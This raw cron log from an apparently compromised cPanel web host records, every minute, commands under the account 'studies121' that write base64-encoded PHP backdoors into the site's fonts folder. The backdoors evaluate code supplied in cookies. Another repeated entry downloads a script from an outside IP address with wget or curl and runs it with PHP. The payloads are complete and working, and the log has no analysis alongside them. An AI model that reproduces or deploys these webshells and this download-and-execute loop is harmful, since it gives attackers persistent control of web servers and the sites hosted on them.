Sep  3 21:29:01 ip-184-168-122-23 CROND[2412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:30:01 ip-184-168-122-23 CROND[2492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:30:01 ip-184-168-122-23 CROND[2495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:30:01 ip-184-168-122-23 CROND[2497]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 21:30:01 ip-184-168-122-23 CROND[2499]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:30:01 ip-184-168-122-23 CROND[2502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:30:01 ip-184-168-122-23 CROND[2503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:30:01 ip-184-168-122-23 CROND[2505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:30:01 ip-184-168-122-23 CROND[2506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:31:01 ip-184-168-122-23 CROND[2591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:31:01 ip-184-168-122-23 CROND[2595]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 21:31:01 ip-184-168-122-23 CROND[2596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:31:01 ip-184-168-122-23 CROND[2594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:31:01 ip-184-168-122-23 CROND[2593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:32:01 ip-184-168-122-23 CROND[2704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:32:01 ip-184-168-122-23 CROND[2706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:32:01 ip-184-168-122-23 CROND[2707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:32:01 ip-184-168-122-23 CROND[2708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:32:01 ip-184-168-122-23 CROND[2710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:33:01 ip-184-168-122-23 CROND[2829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:33:01 ip-184-168-122-23 CROND[2830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:33:01 ip-184-168-122-23 CROND[2831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:33:01 ip-184-168-122-23 CROND[2832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:34:01 ip-184-168-122-23 CROND[3019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:34:01 ip-184-168-122-23 CROND[3022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:34:01 ip-184-168-122-23 CROND[3023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:34:01 ip-184-168-122-23 CROND[3025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:34:01 ip-184-168-122-23 CROND[3024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:35:02 ip-184-168-122-23 CROND[3122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:35:02 ip-184-168-122-23 CROND[3125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:35:02 ip-184-168-122-23 CROND[3126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:35:02 ip-184-168-122-23 CROND[3127]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 21:35:02 ip-184-168-122-23 CROND[3132]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:35:02 ip-184-168-122-23 CROND[3130]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 21:35:02 ip-184-168-122-23 CROND[3129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:35:02 ip-184-168-122-23 CROND[3131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:36:01 ip-184-168-122-23 CROND[3363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:36:01 ip-184-168-122-23 CROND[3364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:36:01 ip-184-168-122-23 CROND[3365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:36:01 ip-184-168-122-23 CROND[3366]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:36:01 ip-184-168-122-23 CROND[3367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:37:01 ip-184-168-122-23 CROND[3447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:37:01 ip-184-168-122-23 CROND[3449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:37:01 ip-184-168-122-23 CROND[3450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:37:01 ip-184-168-122-23 CROND[3451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:38:01 ip-184-168-122-23 CROND[3523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:38:01 ip-184-168-122-23 CROND[3525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:38:01 ip-184-168-122-23 CROND[3526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:38:01 ip-184-168-122-23 CROND[3528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:38:01 ip-184-168-122-23 CROND[3529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:39:02 ip-184-168-122-23 CROND[3708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:39:02 ip-184-168-122-23 CROND[3709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:39:02 ip-184-168-122-23 CROND[3710]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 21:39:02 ip-184-168-122-23 CROND[3712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:39:02 ip-184-168-122-23 CROND[3713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:40:02 ip-184-168-122-23 CROND[3807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:40:02 ip-184-168-122-23 CROND[3808]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 21:40:02 ip-184-168-122-23 CROND[3809]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:40:02 ip-184-168-122-23 CROND[3810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:40:02 ip-184-168-122-23 CROND[3815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:40:02 ip-184-168-122-23 CROND[3814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:40:02 ip-184-168-122-23 CROND[3817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:40:02 ip-184-168-122-23 CROND[3819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:41:01 ip-184-168-122-23 CROND[3911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:41:01 ip-184-168-122-23 CROND[3913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:41:01 ip-184-168-122-23 CROND[3914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
